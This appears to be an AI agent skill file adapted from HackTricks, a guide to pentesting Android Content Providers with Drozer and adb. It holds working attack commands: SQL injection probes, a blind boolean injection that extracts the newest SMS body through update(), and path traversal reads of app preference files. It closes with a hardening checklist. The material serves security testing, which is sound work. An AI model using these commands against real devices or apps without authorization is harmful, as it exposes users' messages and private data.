Hacktricks-skills android-content-provider-pentest
Android Content Provider security testing and exploitation. Use this skill whenever you need to enumerate, analyze, or exploit Android Content Providers during mobile app pentesting. This includes finding exposed providers, testing for SQL injection, path traversal, permission bypasses, and data exfiltration. Trigger this skill for any Android security assessment involving Content Providers, whether you're using Drozer, ADB cmd content, or manual testing. Also use when investigating exported providers, writePermission omissions, or recent CVEs like CVE-2024-43089.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers/SKILL.MDAndroid Content Provider Pentesting
A comprehensive guide for security testing Android Content Providers.
Overview
Content Providers are Android components that supply data from one application to others on request. They're a common attack surface in mobile pentesting due to misconfigurations like:
- Exported providers without proper permissions
- SQL injection in query/update/delete operations
- Path traversal in file-backed providers
- Missing writePermission declarations
Quick Start
- Enumerate providers:
run app.provider.info -a <package> - Find accessible URIs:
run scanner.provider.finduris -a <package> - Test for vulnerabilities: SQL injection, path traversal, permission bypass
Enumeration
List all providers for a package
dz> run app.provider.info -a com.example.app
Key fields to check:
/Read Permission
- null means no permission requiredWrite Permission
- true increases attack surfaceMultiprocess Allowed
- specific path-level restrictionsPath Permissions
Red flags:
ANDRead Permission: null
= fully exposedWrite Permission: null
set butRead Permission
= potential blind SQLi vectorWrite Permission: null
= cross-process attacks possibleMultiprocess Allowed: True
Find accessible URIs
dz> run scanner.provider.finduris -a com.example.app
This attempts to query common URI patterns and reports which ones are accessible.
Note: Path
/Keys vs /Keys/ matters - developers often secure one but not the other.
Modern: Use cmd content
(ADB ≥ 8.0)
cmd contentNo agent installation required:
adb shell cmd content query --uri content://com.example.provider/path/ adb shell cmd content update --uri content://com.example.provider/path/1 --bind price:d:1337 adb shell cmd content call --uri content://com.example.provider --method evilMethod --arg 'foo'
Database-Backed Providers
Query data
dz> run app.provider.query content://com.example.provider/path/ --vertical
Insert data
dz> run app.provider.insert content://com.example.provider/path/ \ --bind column1:s:value1 \ --bind column2:i:123
Type flags:
--string, --double, --float, --integer, --long, --short, --boolean
Update data
dz> run app.provider.update content://com.example.provider/path/ \ --bind column1:s:newvalue \ --where "id=1"
Delete data
dz> run app.provider.delete content://com.example.provider/path/ \ --where "id=1"
SQL Injection Testing
Manual testing
# Test selection parameter dz> run app.provider.query content://com.example.provider/path/ \ --selection "'" # Test projection parameter dz> run app.provider.query content://com.example.provider/path/ \ --projection "* FROM sqlite_master WHERE type='table';--"
Automatic detection
dz> run scanner.provider.injection -a com.example.app
List accessible tables
dz> run scanner.provider.sqltables -a com.example.app
Blind SQLi via update()
When
writePermission is omitted but update() is callable, you can exfiltrate data from co-located tables using a blind boolean oracle.
Discovery:
- Check for providers with
set butreadPermissionwritePermission: null - Confirm
is implementedupdate() - Verify target table exists in same DB via
sqlite_master
Probe example:
adb shell cmd content update \ --uri content://service-number/service_number \ --bind rowid:s:123 \ --where '1=1 AND unicode(substr((SELECT body FROM sms ORDER BY rowid DESC LIMIT 1),1,1)) BETWEEN 48 AND 57'
TRUE if update() > 0 or UNIQUE constraint exception thrown.
Use the
script for automated extraction.scripts/blind_sqli_extractor.py
File System-Backed Providers
Read files
dz> run app.provider.read content://com.example.provider/path/to/file
Path traversal testing
dz> run app.provider.read content://com.example.provider/../../../etc/hosts
Automatic detection
dz> run scanner.provider.traversal -a com.example.app
Modern Tooling (2023-2025)
Drozer 3.x
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0" adb install drozer-agent-3.1.0.apk
New modules:
- list only exported providersscanner.provider.exported
- handle FLAG_GRANT_URI_PERMISSION on Android 12+app.provider.grant- Better Scoped Storage handling for Android 11+
Grant URI permissions (Android 12+)
dz> run app.provider.grant -a com.example.app -u content://com.example.provider/path
Common Vulnerabilities
writePermission omission
When a provider has
readPermission but no writePermission, any app can call insert/update/delete. Combined with SQL injection in update(), this enables blind data exfiltration from co-located tables.
Real-world examples:
content://service-number/service_numbercontent://push-mms/pushcontent://push-shop/push_shop
Path traversal in openFile()
CVE-2024-43089 and CVE-2023-35670 show path traversal in MediaProvider's openFile() method.
adb shell cmd content read \ --uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
Co-location attacks
Sensitive tables (SMS, contacts, etc.) in the same SQLite database as a vulnerable provider can be accessed via blind SQLi even if they have privileged read permissions.
Hardening Checklist
- Set
unless the provider must be public (mandatory from API 31)android:exported="false" - Declare both
andreadPermissionwritePermission - Use
with projection mapsSQLiteQueryBuilder - Canonicalize paths in
to prevent traversalopenFile() - Keep sensitive tables in separate databases
- Use
or Storage Access Framework for file exposureFileProvider
Workflow Summary
- Enumerate:
+app.provider.infoscanner.provider.finduris - Classify: Database-backed vs file-backed
- Test permissions: Check for null writePermission
- Exploit: SQL injection, path traversal, blind exfiltration
- Verify: Use
andscanner.provider.injectionscanner.provider.traversal